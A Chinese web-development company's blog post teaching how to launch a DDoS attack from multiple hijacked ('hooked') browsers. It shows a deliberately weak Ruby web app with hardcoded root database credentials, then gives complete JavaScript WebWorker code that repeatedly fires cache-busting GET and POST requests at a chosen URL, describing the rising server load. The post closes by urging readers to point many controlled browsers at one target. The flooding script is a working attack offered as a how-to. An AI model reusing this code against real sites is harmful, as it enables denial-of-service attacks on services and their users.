电 话:0
手 机:0
联系人:刘先生
E_mail:2074917417@qq.com
地 址:成都市金牛区
为您介绍使用多个勾连浏览器DDoS的方法
对Web应用的DoS攻击,不一定要从攻击者控制的操作系统上发起。挤压痛点的HTTP请求可以从任何Web浏览器中发出,甚至可以从多个浏览器中同时发出。对于后一种情况,实际上就是分布式拒绝服务攻击(Distributed Denial-of-Service,DDoS)。
下面南昌网络公司小编以下面这个简单的Ruby Web应用为例,为大家做个演示。
它接受两个请求:一个POST请求,期待两个参数用于向MySQL数据库中插入(insert)新数据;一个GET请求,通过联结(join)两个表来查询同一个数据库。
require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'
require 'cgi'
require 'mysql'
class Books < Sinatra::Base
post "/" do
author = params[:author]
name = params[:name]
db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')
statement = db.prepare "insert into books (name,author)
values (?,?);"
statement.execute name, author
statement.close
"INSERT successful"
end
get "/" do
book_id = params[:book_id]
db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')
statement = db.prepare "select a.author, a.address, b.name
from author a, books b where a.author = b.author"
statement.execute
result = ""
statement.each do |item|
result += CGI::escapeHTML(item.inspect)+"
"
end
statement.close
result
end
end
@routes = {
"/books" => Books.new,
}
@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("172.16.37.150", 80, @rack_app)
Thin::Logging.silent = true
Thin::Logging.debug = false
puts "[#{Time.now}] Thin ready"
@thin.start
光看代码,大家可能就会发现应用的痛点了。对数据库表的联结涉及两个表,其中一个是POST请求会更新的表。如果你能同时发送多个POST请求,同时又执行多个GET请求,那么联结操作就会随着数据增加而繁忙起来。
通过勾连浏览器跨域发送多个HTTP请求的最好方式是使用WebWorker。这样基本不会影响页面渲染和浏览器的其他操作。WebWorker是HTML5引入的,包括IE10在内的所有现代浏览器都支持,是一种在后台线程中执行脚本的机制。在WebWorker中运行的代码不能直接修改页面的DOM,但可以发送XHR请求。
那么要启动一个WebWorker任务应该怎样做呢?南昌网络公司小编温馨提醒大家,我们可以这样做,请看以下代码:
var worker = new Worker;
worker.onmessage = function (oEvent) {
console.log('WebWorker says: '+oEvent.data);
};
var data = {};
data['url'] = url;
data['delay'] = delay;
data['method'] = method;
data['post_data'] = post_data;
/* 把配置发给WebWorke */
worker.postMessage(data);
这里的postMessage()用于在运行JavaScript勾连代码的DOM与WebWorker之间共享数据。
WebWorker的代码可以像下面这样写:
var url = "";
var delay = 0;
var method = "";
var post_data = "";
var counter = 0;
/* 通过postMessage取得数据 */
onmessage = function (oEvent) {
url = oEvent.data['url'];
delay = oEvent.data['delay'];
method = oEvent.data['method'];
post_data = oEvent.data['post_data'];
doRequest();
};
/* 给URL添加随机参数,避免缓存 */
function noCache(u){
var result = "";
if(u.indexOf("?") > 0){
result = "&" + Date.now() + Math.random();
}else{
result = "?" + Date.now() + Math.random();
}
return result;
}
/* 每delay毫秒发送一次POST或GET请求 */
function doRequest(){
setInterval(function(){
var xhr = new XMLHttpRequest();
xhr.open(method, url + noCache(url));
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
if(method == "POST"){
xhr.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
xhr.send(post_data);
}else{
xhr.send(null);
}
counter++;
},delay);
/* 每10秒通知一次调用者发送了多少请求 */
setInterval(function(){
postMessage("Requests sent: " + counter);
},10000);
}
如果你把这段代码注入两个不同的勾连浏览器,让它们都向前面讲到的那个Ruby Web应用发送请求,就会看到资源占用逐渐增加。图1展示了应用正常使用过程中的系统负载。
图1 正常的系统负载
使用前面的JavaScript代码启用WebWorker之后,可以看到负载稍微增加了一些,如图2所示。
图2 使用一个勾连浏览器时的系统负载
在另一个勾连浏览器中启用另一个WebWorker,每10毫秒发送一个POST请求之后,可以通过图3看到系统负载明显的变化。与图2相比,负载的变化非常大。这是因为一个浏览器在不断发送POST请求,会导致执行数据库插入语句。而与此同时另一个勾连浏览器又在发送GET请求,会导致联结查询的数据集在每个请求之后都会变大。这些后台活动导致了负载增加。
在找到类似的Web应用痛点后,不一定非要通过数据库操作,通过上传文件也可以轻易对任何Web应用制造DoS风暴。如果你手中控制了多个勾连浏览器,那么相应的DoS攻击后果会更加严重,而且你可以让多个勾连浏览器都指向同一个目标,让每一秒钟的并发请求数量激增。
图3 使用两个勾连浏览器时的系统负载
以上就是南昌网络小编为大家介绍的关于使用多个勾连浏览器DDoS的方法,说了那么多不知道大家都学会了没有?如果还有哪些不明白的地方,可随时来电和我们联系。此外,如有南昌网站建设、微信开发、手机APP开发等方面的需要,网络将随时为您效劳!
PS:所有作品版权归原创作者所有,与本站立场无关,如不慎侵犯了你的权益,请联系我们告知,我们将做删除处理!
Copyright © 20019-2023 荟萃信息网 版权所有 蜀ICP备16021156号-2
电 话:0 手 机:0 传 真: E-mail:2074917417@qq.com
地 址:成都市金牛区
技术支持:荟萃网络科技
扫码关注我们